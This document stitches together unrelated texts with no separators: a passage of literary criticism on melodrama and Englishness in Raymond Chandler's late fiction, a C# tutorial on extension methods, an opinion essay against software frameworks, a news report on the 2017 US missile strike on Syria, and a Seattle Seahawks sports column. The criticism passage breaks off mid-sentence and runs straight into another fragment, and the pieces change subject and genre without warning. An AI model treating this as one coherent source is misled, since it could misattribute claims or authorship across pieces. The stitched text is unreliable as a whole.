What is characteristic of the melodrama, both in its original sense and the modern one, is the way the excess is siphoned off. The undischarged emotion which cannot be accommodated within the action... is traditionally expressed in the music and, in the case of film, in certain elements of the mise en scène. That is to say, music and mise en scène do not just heighten the emotionality of an element of the action; to some extent they substitute for it.
The schema which Nowell-Smith uses, borrowed from Freud's writings on hysteria, is evidently adaptable to the case of Chandler's hardboiled melodrama. There it is Marlowe's private, ethical code which drives the process of repression, while it is into his overblown gestures of violence and sentimentality that excess is displaced. If, in the case of The Big Sleep, the savage tearing-up of the bed, or the brutality of Marlowe's homophobic attack on Carol Lundgren, represent clear instances of sexual impulses displaced into the realm of violence, then in The Long Goodbye this economy transforms its outlets into excessively sentimental acts of remembrance. When Chandler first submitted his manuscript for The Long Goodbye, Bernice Baumgarten objected to its overt sentimentalism, requiring Chandler to revise it (SL 317). Even in the published version, however, Marlowe's return to Victor's bar, and more particularly his ritual of cigarette and coffee, prepared in memory of Terry Lennox's last moments with him, bleed into burlesque and kitsch. This was always Chandler's intention. Returning to the 1949 letter in which he expressed his frustration at American readers unable to "see the strong element of burlesque in my kind of writing," we find that he threatened to write an article about melodrama in order to educate them. Although this plan was never realized, the letter does offer an overview of his understanding of the concept, including the idea of "an exaggeration of violence and fear beyond what one normally experiences in life" as well as a kind of superficial realism in which "the potential of emotion is overcharged" (SL 150). Chandler's late works, in which sentimentalism replaces violence as the outlet for his melodramatic system, are therefore intentionally excessive, albeit in a manner less amenable to the orthodoxies of both hardboiled narrative and high culture more broadly.
In The Long Goodbye, then, Chandler's melodramatic sentimentalism is closely bound up with Marlowe's mourning of Terry Lennox, and thus with the nineteenth-century English ideal he represented. His 1949 letter also associated melodrama with transatlantic difference, in its particular criticism of American readers, combined with the way his remarks are precipitated by his reflections on Charles Dickens, whom he clearly understood as a melodramatic writer with "the ability to put over situations which verged on the implausible but which in the reading seemed quite real" (SL 6). My argument that Chandler's melodramatic imagination emerges as a function of his transatlanticism, however, must move beyond these associative links to consider deeper, structural analogies between his model of Englishness after World War II and the melodramatic mode. Our way into this problem can be neatly introduced through George Orwell's essay, "Decline of the English Murder," published in the London periodical Tribune in 1946. In this piece, Orwell laments the passing of "our great period of murder, our Elizabethan period, so to speak" between the years of 1850 and 1925, and bemoans the unsatisfying, "pitiful and sordid" English murders reported in the postwar press.
Orwell sees the murders of the "great period" as notable for their fundamentally melodramatic character (indeed he notes that one was successfully adapted into a theatrical melodrama and that several others formed the basis for popular novels). He observes the innate theatricality of the classic English murder, the eruption of
some dramatic coincidence, in which the finger of Providence could be clearly seen, or one of those episodes that no novelist would dare to make up, such as Crippen's flight across the Atlantic with his mistress dressed as a boy, or Joseph Smith playing "Nearer, my God, to Thee" on the harmonium while one of his wives was drowning in the next room.
Such instances are melodramatic in several senses. Firstly, they offer illustrations of Nowell-Smith's formulation by which melodrama emerges through the displacement of excess emotional or libidinal energies into mise en scène or music. Secondly, however, they also resonate with the influential theory proposed by Peter Brooks, who argues that the function of melodrama's historical development has been to extrapolate between document and vision, "using the things and gestures of the real world, of social life, as kinds of metaphors which refer us to the realm of spirituality and moral meanings." Following this logic, the preponderance of improbable co-incidences in popular melodrama, indicating the organising influence of supernatural fate or "Providence," provide a narrative compensation for the "desacrilization of the social" in the era of modernity.
In the senses of both of these theoretical formulations, Orwell's good, old-fashioned melodramatic murders are conditioned by their English settings. In order for Nowell-Smith's economy of excess to function effectively, it requires some form of repression to be exerted upon the narrative, so that an impasse can be created which then necessitates displacement. In the case of "Decline of the English Murder," Orwell makes clear that the defining characteristic of the best murders is their situation amid the strictures of Victorian morality and its attendant codes of class and sexuality. Aspirations to rise within the class hierarchy, illicit desire, and adultery within the domestic sphere are recurring motifs which feature across the range of murders he mentions. Indeed the "perfect murder" he outlines is one committed by a middle-class man driven to kill in order to preserve the appearance of his honour and respectability, murder appearing to him "less disgraceful, and less damaging in his career, than being detected in adultery." Here, the murder itself becomes the means by which excess is siphoned off from the containing structures enforced by English bourgeois morality. We can also observe, however, that the conflict set up between English codes of behaviour and libidinal impulses is the means by which melodrama is able to reveal and reinforce, as in Brooks' formulation, a concealed or submerged "essential moral universe" in which transgressions of class or sexuality are referred reassuringly to an apparently natural law which dispenses justice accordingly.
Orwell's essay is itself given shape by the distinction he introduces between the "great period" of English murder and the postwar era, in which the classically melodramatic murder is replaced by a debased Americanized version epitomized by the "Cleft Chin Murder" of 1944. In this case, several apparently random murders were committed by Karl Hulten, an American GI who had deserted from his post in England, along with his English girlfriend. Orwell writes,
... there was no depth of feeling in it. It was almost by chance that these two people committed that particular murder... The background was not domesticity, but the anonymous life of the dance-halls and the false values of the American film... Perhaps it is significant that the most talked-of English murder of recent years should have been committed by an American and an English girl who had been partly Americanized. But it is difficult to believe that this case will be so long remembered as the old domestic poisoning dramas, product of a society where the all-pervading hypocrisy did at least ensure that crimes as serious as murder should have strong emotions behind them.
Reading this conclusion to the essay it becomes apparent how much Orwell's transatlantic distinctions correlate with Chandler's own engagement with Englishness and melodrama in his postwar work. In contrast to the "finger of Providence" which guides the events of the classic English murder, the Americanized murder is a matter of pure contingency, having lost its legitimating foundations in the sacrified sphere of Victorian morality, and been inspired by the ethical vacuum created by the American culture industry. The fear of the young, motiveless killer pervades Chandler's late work, from Alfred, the psychotic heroin addict in The Little Sister to Earl, the deranged patient of Dr Verringer in The Long Goodbye. It is significant, though, that Chandler reverts to English melodrama of the type Orwell would have endorsed for the main plot of both The Long Goodbye and "English Summer," where adulterous desire and revenge against the backdrop of refined English manners provide the engine for the mystery. In terms of the murder plot in The Long Goodbye, Marlowe can be read as an agent not of Californian law but of a distinctively Victorian "moral universe." Eileen Wade, once Marlowe has exposed her culpability over cups of tea in her mansion, has the good sense to commit suicide in deference to this nebulous authority, thus preserving one of its most important edicts as Chandler understands it - that women should never be subject to the indignities of public, state-authorized justice. It should once again be emphasized that, from this perspective, her chief transgression, like that of Terry Lennox (and indeed Karl Hulten) is her complicity in exploiting the circumstances of World War II in order to fashion a false English identity.
Once we begin to read Chandler's melodrama in this way, as structured by his threatened sense of authentic Englishness, it also becomes apparent that Marlowe's seemingly inscrutable moral code is thrown into relief by the same crisis of national ideals. When Terry Lennox's betrayals are finally uncovered, the Victorian morality to which both Marlowe and, implicitly, the novel itself have appealed is revealed to be an empty and arbitrary fabrication, constructed purely of English manners. We are returned to the odd accusation he levels at Terry: "You had standards and you lived up to them, but they were personal. They had no relation to any kind of ethics or scruples" (733). The distinction refers then to the difference between a shared "moral universe" and a socially determined and therefore illegitimate set of gestures. This is an important moment for our analysis because here Marlowe's ethics are ostensibly uncoupled from his worldly sense of Englishness and retreat towards what Brooks describes as "the moral occult," a set of absolute values which "may be so inward and personal that it appears restricted to the individual's consciousness, predicated on the individual's'sacrifice to the ideal.'" Brooks' model relates to the fiction of another transatlantic figure, Henry James, in whose work, he argues, the "external melodrama has been used to lead into the melodrama of ethical choice." It is a similar transition that we observe in Chandler's late work, where Marlowe's various renunciations and sacrifices appear as increasingly Pyrrhic impulses towards a kind of martyrdom (indeed Marlowe's "christlike" tendencies was one of the problems Bernice Baumgarten identified with the first draft of The Long Goodbye [SL 317]).
"Why are you doing it, Marlowe?" asks Terry Lennox, as the detective prepares to drive him to Tijuana in order for him to escape arrest (443). He receives no response. This is the question which Chandler's postwar work asks of its readers with increasing urgency. The very impenetrability of Marlowe's ethical code is a reflection of the way Chandler distanced himself from the visible claims of English late-imperial values, while at the same time continuing to internalize their underlying principles as universal "ethics or scruples," a version of the moral occult. As we will see, in "English Summer," the contradictions of this structure are more clearly developed, evident in the narrator's strange decision to risk his own freedom in order to protect Millicent from investigation for the murder of her husband, at the same time as acknowledging her complete ethical bankruptcy as an Englishwoman. In both works, the disseverance of ethics from its English moorings leaves the hero, as James put it in his preface to The American, with "just the moral convenience, indeed the moral necessity, of his practical, but quite unappreciated, magnanimity." Chandler's moral occult, like James's, becomes premised, then, on the treacherous dissimulation of evil intent under layers of refined manners; a threat which entails a particularly Gothic encounter with misrecognized Englishness and an experience of the transatlantic uncanny.
"English Summer" and World War II
Turning to "English Summer: A Gothic Romance," we now face the critical challenge of historicizing Chandler's perverse untimeliness, registered not only in his marked interest in belated models of Englishness, but also in his formal and generic choices. This odd story, published only after his death, exaggerates the dominant themes and features of The Long Goodbye, driving the novel's concern with English betrayals even further into kitschy burlesque. "A short, swift, tense, gorgeously written story verging on melodrama," was how he described it in a 1939 writing plan, when it was originally conceived. However, the project was apparently shelved until 1957, when, following the death of his wife and several trips to London, Chandler wrote that he was considering an English novel, "as a writer at home with the nuances of British English and yet ambitious to make it come a little more alive." Chandler rediscovered the original "English Summer" and worked it up to a length of around 8,500 words before discarding it again.
Following Frank MacShane's judgment that "it doesn't hold up as literature," the story has been generally ignored by critics and scholars. This is in itself an interesting reflection of the ways Chandler has been canonized as a native hardboiled writer, for not only does the story explicitly resituate him as a transatlantic figure, but it also revels in precisely the stylistic and generic excesses which have been suppressed by those who have made the case for his literary seriousness based on his relation to |
ing the ideology of freedom from "dependence upon one's spouse."<< C#/.NET Little Wonders: Explicit Interface Implementation | Home | C#/.NET Fundamentals: Three Tech.Pro Tutorials >> C#/.NET Little Wonders: Extension Methods Demystified Once again, in this series of posts I look at the parts of the.NET Framework that may seem trivial, but can help improve your code by making it easier to write and maintain. The index of all my past little wonders posts can be found here. I have had the pleasure to program in a variety of programming languages throughout the years including the trifecta of C++, Java, and C#. It's often interesting how these three languages are so similar and yet have such key differences as well. Each of them has features that I miss when I work with the others. But, if I had to pick one standout feature that I love in C# (and long for when working with the other languages) it would be LINQ. There is a wealth of algorithmic and framework components in LINQ that make development more rapid and code easier to maintain. Extension methods, are a ubiquitous feature of LINQ even if you don't know you are using them. And even without using LINQ, they are a very interesting feature of.NET in of itself and worth a more detailed discussion. Extension methods An extension method, in brief, is the ability to "extend" a type through some syntactical sugar. Now, I say “extend” in quotes because it really does nothing to the other type at all, it simply defines a static method in a static class and identifies the type you are "extending" as the first parameter by preceding it with the this keyword in the parameter list. For example, you could say: 1: // class has to be static 2: public static class IntExtensions 3: { 4: // method has to be static, first parameter is tagged with the 'this' 5: // keyword, the type of the parameter is the type that is extended. 6: public static int Half( this int source) 7: { 8: return source / 2; 9: } 10: } Now, even with the this keyword, this is really just a static method like any other and thus you could invoke it like: 1: // Invoking as if it were an ordinary, static method 2: var two = IntExtensions.Half(4); But the magic of extension method's syntactical sugar is that you can invoke them as if they were first-class methods of the type they "extend": 1: // Extension method behave as if they were really members of 2: // the type they extend, thus we can call Half() on any integer. 3: var two = 4.Half(); Once again, this is really just syntactic sugar. The instance of the type being “extended” is passed as the first parameter into the static method in the generated byte-code for you. Thus, the shorter, cleaner syntax will in the end compile just like the more traditional syntax in the previous example. But this syntactic sugar can not only shorten simple calls like the above, but can allow for chaining of multiple methods (extension and first-class both) in a very fluent way. Let’s expand our integer extensions with a few more ideas: 1: public static class IntExtensions 2: { 3: public static int Half( this int source) 4: { 5: return source / 2; 6: } 7: 8: public static int Cube( this int source) 9: { 10: return ( int )Math.Pow(source, 3); 11: } 12: 13: public static int Square( this int source) 14: { 15: return ( int )Math.Pow(source, 2); 16: } 17: } Now, what if you had the above methods and wanted to take 13, Cube() it, then take Half(), then Square() the result using these methods? If you wanted to do this using traditional static method syntax, you'd have to write: 1: // The repetition of the type name and nesting gets confusing... 2: var ans = IntExtensions.Square(IntExtensions.Half(IntExtensions.Cube(13))); Ugh, that's a mess! But with extension method syntactical sugar, you get a much cleaner and easier to read result: 1: // Much better, says take 13, cube it, half it, square it. 2: var ans = 13.Cube().Half().Square(); So, we see there is a lot of power here to extend types in a very fluent way. But I've only hinted at one of the things that make extension methods so very powerful. I said they could be used to "extend" any type. I don’t mean just struct or class or primitives, I mean interfaces as well. Extending Interfaces The great thing about interfaces is that they can be used to specify a public contract without regard to implementation details needed to satisfy that contract. This of course means that interfaces provide no method bodies. But, many times when we are defining a complete interface, it is possible to define functionality without needing to know the implementation of the interface at all! Consider, for example Enumerable.Count(), this is an extension method in System.Linq that will give you the count of any sequence of IEnumerable<T>. It doesn’t care how that interface is implemented (though it has a performance short-cut for Collection implementations). All it needs to do is to be able to know when it’s empty, and how to get the next item, both of which are specified in IEnumerable<T>, thus you can provide this functionality using only the interface of IEnumerable<T> itself. It can be a HashSet<T>, List<T>, T[], or any other sequence of items and you can always get a Count(). As another example, let's create our own extension method to chop a sequence of IEnumerable<T> into slices of a given size. That is, if we had an array of size 32, and we wanted to divide it into slices of size 13, we should get back as output three sequences of size 13, 13, and 6. 1: // some extension methods for IEnumerable<T> 2: public static class EnumerableExtensions 3: { 4: // first argument is the source,second is the max size of each slice 5: public static IEnumerable<IEnumerable<T>> Slice<T>( this IEnumerable<T> source, int size) 6: { 7: // can't slice null sequence 8: if (source == null ) throw new ArgumentNullException( "source" ); 9: if (size < 1) throw new ArgumentOutOfRangeException( "size", "The size must be positive." ); 10: 11: // force into a list to take advantage of direct indexing. Could also force into an 12: // array, use LINQ grouping, do a Skip()/Take(), etc... 13: var sourceList = source.ToList(); 14: int current = 0; 15: 16: // while there are still items to "slice" off, keep going 17: while (current < sourceList.Count) 18: { 19: // return a sub-slice using an iterator for deferred execution 20: yield return sourceList.GetRange(current, Math.Min(size, sourceList.Count - current)); 21: current += size; 22: } 23: } 24: } Notice that everything we are using on source is available publically for any IEnumerable<T> since they are either public interface methods declared on IEnumerable<T>, or other extension methods provided in System.Linq. So now, we could use this method to process any sequence in slices! For example, what if we had an array of 1000 items, and wanted to process them in parallel in lots of 10? 1: int [] items = Enumerable.Range(1, 1000).ToArray(); 2: 3: // Process each slice of 10 items in parallel! 4: Parallel.ForEach(items.Slice(10), s => 5: { 6: foreach (var item in s) 7: { 8: Console.WriteLine(item); 9: } 10: }); 11: Now you can! And with the fluent interface extension methods provide, you could easily chain the extension methods in a very easy-to-read way. For example, what if you wanted to process the cube of all the numbers from 1 to 1000 in groups of 10? We can chain in LINQ’s Select() extension method and our Cube() int extension to get: 1: // Simply says select a sequence of the cube of each item, 2: // then slice the sequence into lots of size 10 3: Parallel.ForEach(items.Select(i => i.Cube()).Slice(10), s => 4: { 5:... 6: }); You may have also noticed that we made our extension method check for a null on our source parameter. This is generally considered good form. It is possible to call an extension method off of a null instance, but many people think this is inappropriate because it would cause a problem for first-class methods. That said, you can get a lot of power from allowing a null first argument in an extension method so I leave it up to you. My main piece of advice would be that if your first argument will allow null, the name should state it. For example, you could write: 1: public static class ArrayExtensions 2: { 3: // returns length if not null, otherwise zero. 4: public static int NullSafeLength<T>( this T[] source) 5: { 6: return source!= null? source.Length : 0; 7: } 8: } And this would allow you to collapse this: 1: if (myArray!= null && myArray.Length > 0) 2: { 3:.... 4: } To this: 1: if (myArray.NullSafeLength() > 0) 2: { 3:... 4: } I personally don’t have a problem with extension methods like this allowing null because the name makes it obvious that this is safe. There are those who don’t agree and never think it should be possible, though, so I leave it up to you and your team to decide what style you prefer. To Extend? Or Not To Extend? Well, we've seen the power of extension methods, but as with all good things, this power can be abused. All I'm trying to say is, just because you can make a many things extension methods doesn't mean that everything should be an extension method. For example, what would you say about this example: 1: public static class IntExtensions 2: { 3: // converts an int number of seconds to milliseconds for use in 4: // Thread.Sleep() and other timeout methods... 5: public static int Seconds( this int source) 6: { 7: return source * 1000; 8: } 9: } I ran across this gem in some source online, I'm sure the well-meaning individual was hoping to use this to make code like this easier to read: 1: Thread.Sleep(30.Seconds()); Which hey! That looks great and fluid! The problem is, not every integer represents time, and not every usage of time implies milliseconds. Thus this extension method has a very localized purpose and doesn’t really apply to all integers as a whole. Consider, what if someone took this well meaning method and did this: 1: // Whoops. I really meant 50 seconds!!! 2: var timeout = TimeSpan.FromSeconds(50.Seconds()); They'd then have 50,000 seconds of wait time. The method above is tuned to return milliseconds from seconds, which neither the name nor the return type implies! An int can represent anything: days, hours, minutes, puppies, extra lives, etc. Again, consider if someone would have employee.Age.Seconds() thinking it would convert their age in seconds, to only discover they are now 1000 times older. Thus, you should always be careful when you create new extension methods that the problem being solved by the extension method fits both the type being extended, and the result appropriately for the domain of values. Give a Hoot, Don't Pollute As a final note on extension methods, one should always be aware not to let their dirty laundry air out in public. Just as it's a best practice to put types in namespaces to avoid collisions, I would put extension methods in their own namespaces as well so that users have to explicitly include the namespace to use them. Why? Because it gives users a choice. Look at LINQ, if you want to use one of LINQ's extension methods, you must state using System.Linq to make them available (syntactically). That means that if a user doesn't want to be bothered with them, they simply don’t import the namespace and they won’t see them. This also means that you won't pollute your IntelliSense needlessly as well. When you create extension methods in the global namespace (or some other high-traffic one) it can get annoying if every time you press the ‘.’ on an instance it shows every extension method under the sun. You can, for example, create extension methods off of object, which means it would apply to every type. While there are occasionally uses for extensions on object, you should be aware that that means that the extension method will show up in every IntelliSense member list when you press the ‘.’ key. Having these extensions in their own namespace, again, will prevent this unless someone really wants it to be visible. Summary Extension methods are a very powerful feature of.NET, they allow you to attach functionality to "extend" a type (even interfaces) and have that method syntax behave as if it was a first-class method. This can enable very powerful and fluid interfaces which can help make code easier to use and maintain, if treated with respect and used properly. CSharp,.NET,Little Wonders,LINQ,Extension Methods Technorati Tags: C# Share This Post:
Short Url: http://wblo.gs/ddE12 November 2016
Frameworks are fundamentally broken
This post was origionally written in 2012, and later revised in 2014. At the time, I refrained from posting it due to concerns about how certain topics were articulated, and how it might be recieved in the community. After accidentially publishing this in 2016, the positive feedback I recieved encouraged me to release this officially. The article is an opinion piece that I hope resonates with other functional programmers. Certainly, not everyone will agree with what's written here, and that's absolutely fine with me. All I ask is that you read the article for what is, and recieve it with the good intentions it was written.
I've been thinking about writing this post for a while - several years in fact - but its reached a point where I have to get this out of my head and onto the screen: Frameworks are the worst thing to happen to software development in the last decade (and possibly ever).
For the purpose of this article, I shall define a Software Framework as this: one or more pieces of software that are designed to work in tight unison, with the aim of smoothing / easing / hastening / or otherwise "improving" the development of a given application development cycle in a particular domain. The software in question is typically bundled together and binary modules of the project are typically not used outside the intended framework usage or the framework itself. Examples of software frameworks include AngularJS, Play!, Ruby on Rails etc. At this point in my software engineering career, I have used a wide range of software frameworks and have been involved in writing more than one, and I even wrote a book about Lift. With this frame good reader, please appreciate that one does not come to such a decision to criticise frameworks as a programming paradigm lightly. The following sub-sections outline what I see as the primary issues that make frameworks fundamentally flawed.
Lack of Powerful Abstraction
Business domains are often inherently complex, and this impacts the engineering that needs to take place to solve a problem within that business domain in a very fundamental way. In this regard, frameworks tend to be intrinsically limiting because they were written by another human-being without your exact, complex business requirements in mind - you are programming inside someone else's constraints and technical trade-offs. More often than not, those trade-offs are not documented explicitly or encoded formally, which means users encounter these limitations through trail-and-error usage in the field.
Many framework authors take the approach that they are solving a general problem in a given engineering sector (web development, messaging, etc), but typically they end up solving the problem(s) at hand in a monolithic way. Specifically, authors have a "outside in" approach to design, where they allow "plugin points" for users of the framework to write their own application logic... the canonical example here can be found in MVC-style web framework controllers. In all but the most trivial applications, this is a totally broken approach as one often observes users either writing all their domain logic directly in the controller (i.e. inside the framework constraints), or alternatively, observing parts of the domain logic or behaviour "leaking" into the controller. Whilst it could be argued that this is simply an education problem with users, I would disagree and argue that it takes a high-degree of discipline from users to do the right thing... The easy thing is most certainly not the right thing. Instead of the root cause being an education issue, I would propose that a fundamental problem exists with the mindset of the frameworks themselves - which often encourage this kind of poor user behaviour - in short, frameworks do not compose. Frameworks make composition of system components difficult or impossible, and without composition of system components there can never be any truly powerful abstraction... which is absolutely required to build reasonable systems. To clarify, the lack of composability exists both in the micro and macro levels of a system; components should plug together like lego bricks, irrespective of which lego pack those bricks came from (here's hoping you follow that tenuous analogy, good reader). Users don't wish to extend some magic class and be beholden to some bullshit class hierarchy and all its effects; users wish to provide a function that is opaque to the caller, provided the types line up, naturally. When frameworks do not do this, its a fundamental issue with the design of these software tools.
An obvious supposition might be that these kinds of monolithic, uncomposable designs occur because framework authors are trying to optimise for certain cases - more often than not, a case high on the list to satisfy is to make the framework "easy" to get started with. An interesting side-effect of this is that authors usually assume that users won't know too much about what they are using and that the code they write needs to be minimal. Whilst i'm all for writing less code, assuming that users won't know how to use framework APIs only applies when the system is not based on any formal or well-known abstractions. The ramification of this lack of formalisation is two fold:
Enhanced burden on the framework author(s) as the lack of formalisation requires them to "teach" the user how to do everything from scratch. In practice this means writing more documentation, more tests and examples and more time spent on the community mailing lists helping users - ad infinitum. Users have to invest their time fairly aggressively in a technology without truly understanding it. This typically means getting up to speed with all the framework-specific terminology (e.g. "bean factory", "interceptor", "router") and programming idioms. As an interesting side-note, I believe this aggressive investment without understanding is actually what gives rise to a lot of "fanboism" in technology communities at large: people get invested quickly and feel the need to evangelise to others simply because they invested so much time themselves, and subsequently need to ensure that the tool they selected gains critical mass and long-term viability / credibility... that is no doubt a subject for another article though.
Let's consider for a moment what would happen if a framework component were implemented in terms of a formally known concept... For example, if one knows that a given component is a Functor, then one can immediately know how to reason about the operations and semantics of that component because they are encoded formally as a part of the functor laws. This immediately frees framework authors and users from the burdens listed in points one and two above. However, what if framework users don't know what a Functor is? and they are not familiar with the relevant laws? Well, there is no denying that to learn many of the formal constructs will require effort on the part of users, but critically, what they learn is fundimentally useful when it comes to reasoning about problems in any domain. This is wildly more beneficial than learning how to operate in one particular solution space inside one particular framework. They will have learnt something fundamental about the nature of solving problems - something that will serve them well for the rest of their careers. Let me qualify that with an example:
Concepts such as Functor should not be scary. Many engineers in our industry suffer from a kind of dualism where theory and practice are somehow separate, and formal concepts like Functor, Monad and Applicative (to name a few) are often considered to "not work in practice", and users of such academic vernacular are accused of being ivory tower elitists. Another possible explanation might be that engineers (regardless of their training: formal or otherwise) are simply unaware of the amazing things that have been discovered in computer science to date, and proceed to poorly reinvent the wheel many times over. In fact, I would wager that nearly every hard problem the majority of engineers will encounter in the field has had its generalised case be the subject of at least one study or paper... the tools we need already exist; its our job as good computer scientists to research our own field, and edify ourselves on historical discoveries and make best advantage of the work done by those who went before us.
Short-term Gain
All software is optimised for something; sometimes its raw performance, sometimes its type-checked APIs and sometimes its other things entirely. Whatever your tools are optimised for, some trade-offs have been made to achieve said optimisation. Many, many frameworks usually include phrases like these listed below:
"Increased productivity"
"Get started quickly!"
"Includes everything you need!" for XYZ domain
These kinds of benefits usually indicate the software is optimised for short-term gain. Users are hooked on the initial experience building "TODO" applications. More often than not, these users then later become frustrated when they hit a wall where the framework cannot do exactly what the business needs, and they have to spend time wading through the framework internals to figure out a gnarly work-around to solve their particular problem.
The real irony here is that optimising for the initial experience is such a wildly huge failure: the majority of engineers will not spend their time writing new applications, rather, they will be maintaining existing applications and having to - in many cases - reason about code that was not written by them. On large software projects, there are usually a myriad of technologies being employed to deliver the overall product, and having each and every software tool have similar concepts with different names and annoying edge cases is frankly untenable. Once again, the lack of formalisation or composability causes havoc in many areas (lest we forget taking the time to figure out work arounds is usually painful and time-expensive).
Community fragmentation
For the vast majority of frameworks, they usually have a particular coding or API style, or a set of conventions users need to know in order to produce something - disastrously, these conventions are often not enforced or encoded formally with types. Whilst these conventions are probably obvious for authors of the framework, it makes moving from one framework to another a total mind-fuck for users - essentially giving users (and ergo, companies) a vendor lock-in long-term. Whilst vender lock-in is clearly undesirable, there is another more important aspect: frameworks create social islands in our programming communities. How many StackOverflow questions have you seen with a title along the lines of "what's the Rails way to do XYZ operation?", or "How does AngularJS do ABC internally?". Software is written by people, for people, and it must always be consumed in that frame. Fragmenting a given language community with various ways to achieve the same thing (with no formal laws) just creates groups with arbitrary divisions that really make no sense; these dividing lines usually end up being taste in API design, or familiarity with a given practice.
Whilst the argument could be made that branching, competing and later merging of software projects is beneficial, when it comes to the people and the soft elements related to a technical project, the mental fallout from the fork/compete/merge cycle is extremely heavy and usually the merge process never occurs (if it does, it usually takes years). Moreover, if a given framework community island fails, its incredibly hard on the engineers involved. I have both experienced this personally, and witnessed it happening in multiple other communities - which is a worrying trend (again, lots of material for a later post to lament about that).
Looking forward
It is imperative to understand that the need for composability in our software tools is an absolute requirement. If we as an industry have any hope of not repeating ourselves time and time again, we have to change our ways. In conclusion, dear reader, if you're wondering what you can do to make the industry a better place going forward: study the past and read as many releevant academic papers as you can reasoanbly consume... be curious and continually ask questions. Demand lawlful programs and excellent tools. Engage in software communites in a meaningful and positive way, and always look to improve the world around you :-)Russia and the United States have traded barbs at an ill-tempered emergency session of the UN Security Council called by Moscow after the US army launched a barrage of cruise missiles against a Syrian government airbase.
Syria's army said six people were killed in the early hours of Friday morning after the US fired nearly 60 Tomahawk missiles at Shayrat airbase, in retaliation for a suspected chemical weapons attack on a rebel-held town that killed scores of civilians earlier this week.
Vladimir Safronkov, Russia's deputy ambassador to the UN, "strongly" condemned the US for what he called a "flagrant violation of international law and an act of aggression".
"The consequences of this for regional and international stability could be extremely serious," he told the Security Council.
Russia is a key ally of Syrian President Bashar al-Assad, and has been bombing rebel-held areas in Syria since September 2015.
ANALYSIS: US strike on Syria unlikely to mark policy shift
For her part, US Ambassador Nikki Haley said the missile strikes were "fully justified" and warned that Washington was ready to take further military action.
"The United States took a very measured step last night," she told the council. "We are prepared to do more, but we hope it will not be necessary."
Mounzer Mounzer, deputy Syrian ambassador to the UN, called the US strike a "barbaric, flagrant act of aggression" that will embolden "terrorist groups" to use chemical weapons in the future.
According to the UK-based Syrian Observatory for Human Rights, at least 88 people, including 29 children, were killed in the suspected poison gas attack on Khan Sheikhoun in Idlib province, which the US has blamed on Assad.
Haley said the missile strikes destroyed the airfield from which the US believes Tuesday's suspected chemical attack was launched.
"The United States will no longer wait for Assad to use chemical weapons without any consequences," Haley said. "Those days are over."
While threatening further strikes, the US envoy also said it was time to press on with a political solution to the six-year war.
READ MORE: Syrians should not be thanking Trump for the strikes
Marwan Bishara, Al Jazeera's senior political analyst, questioned whether the missile barrage was simply bravado, or part of a larger strategic plan.
"Is it because US President Donald Trump wants to prove he is a resolute, decisive leader who is independent of [Russian President Vladimir] Putin, or is this punitive attack part of a comprehensive effort aimed at leveraging American influence in Syria to lead to a diplomatic solution," he said.
Haley also took a swipe at Russia for failing to rein in its ally, and said Moscow must reconsider its support for Assad.
"The world is waiting for the Russian government to act responsibly in Syria. The world is waiting for Russia to reconsider its misplaced alliance with Bashar al-Assad," she said.
READ MORE: Syria's civil war explained from the beginning
The US said 58 of the 59 cruise missiles fired at the Shayrat airfield hit their targets, dealing heavy damage to the base.
But the Russian defence ministry downplayed the damage, claiming only 23 missiles landed on target.
Satellite footage showed many of the runways were fully intact, as well as several untouched defence surface-to-air rocket launcher and radar systems.
Less than 24 hours after the US strike, two Syrian jets took off from the targeted base and bombed nearby rebel targets, according to the Observatory, which monitors Syria's conflict via a network of contacts on the ground.
Regardless of its damage, the attack - Trump's biggest military decision since taking office - marked a dramatic escalation in US involvement in Syria's war.
It followed days of outrage over images of dead children and victims suffering convulsions from the suspected poison gas attack in Khan Sheikhoun.
After the strike, Russia's defence ministry notified the Pentagon it would suspend its communication with US forces in Syria, while Dmitry Medvedev, the Russian prime minister, told on social media that the strikes had brought the US "one step away from military clashes with Russia".
US jets frequently attack Islamic State of Iraq and the Levant (ISIL) fighters in Syria and come close to Russian forces.
US officials informed Russian forces ahead of the missile strikes, and avoided hitting Russian personnel.
The Syrian government and Moscow have denied that Syrian forces were behind the gas attack, but Western countries have dismissed their explanation that chemicals leaked from a rebel weapons depot after an air strike as not credible.
OPINION: The US shows it is still in the game by striking Assad
US allies from Asia, Europe and the Middle East expressed support, if sometimes cautiously, for Friday's missile barrage.
Opposition figures hailed the move as "first good steps" but demanded they be included within a larger strategy aimed at ending the war.
Homs Governor Talal Barazi said the US' direct strike on the Syrian military was a clear sign it was supporting "terrorists".
The action is likely to be interpreted as a signal to Russia, as well as countries such as North Korea, China and Iran - where Trump has faced foreign policy tests early in his presidency - that he is willing to use force.Originally published January 8, 2013 at 8:02 PM | Page modified January 9, 2013 at 10:28 PM
The Seahawks believe in themselves, and now an entire city is believing along with them.
Last summer, I wrote a letter to Seahawks coach Pete Carroll asking him to save the city's sports reputation.
Seattle was reeling. It was the city that Sports Illustrated forgot and ESPN ignored. It was as if the lights were turned off in this city.
This was where reputations came to die: Chone Figgins and Milton Bradley. Aaron Curry and Deion Branch.
Who cared about Seattle sports?
Sure, the Sounders have become the great success story of the burgeoning MLS, but soccer still is a soft hum in the cacophony of sports talk in this country.
Last summer Seattle sports fans were desperate for heroes, a player or a team that could make this town relevant again. Where was the next Ken Griffey Jr.? The next Gary Payton? Cortez Kennedy?
It was the city of questions without answers. Are we getting a new arena? Is the NBA returning? Whatever happened to Justin Smoak?
So I asked Carroll to give us a lift. Hoist us up with Sundays or Mondays or Thursdays, just some days to remember. Light a fire under the 12th Man, restore the voice of the hometown crowd.
I wasn't asking for a Super Bowl. I was looking for the next step. Maybe a wild-card game.
Speaking presumptuously for Seattle's sports fans, I asked Carroll for a winner. He never got back to me, but I think all of us have his answer. The Seahawks have made the country take notice. It isn't just winning eight of nine games entering Sunday's NFC playoff game in Atlanta. It's the way they've won.
It's the Hail Mary pass from Russell Wilson to Golden Tate that beat Green Bay. It's the fourth-quarter smackdown they gave Tom Brady in the win over New England.
It's the fourth-quarter comeback and overtime win in Chicago, and the avalanche of points that followed in victories over Arizona, Buffalo and San Francisco.
They've won with style, which just adds to their "Q" factor. The lights are shining on Seattle again.
The Hawks' wild-card win over Washington on Sunday was the most-watched television program on any network since NBC's Olympic coverage. According to Nielsen Media Research, 38.1 million people watched.
In the Seattle area, 76 percent of the televisions on were tuned to the game, a larger audience than last year's Super Bowl.
From KJR to the water cooler, the air is crackling with chatter about the Seahawks. From the pulpit to ESPN you hear praises sung for Marshawn Lynch, Richard Sherman and Bobby Wagner.
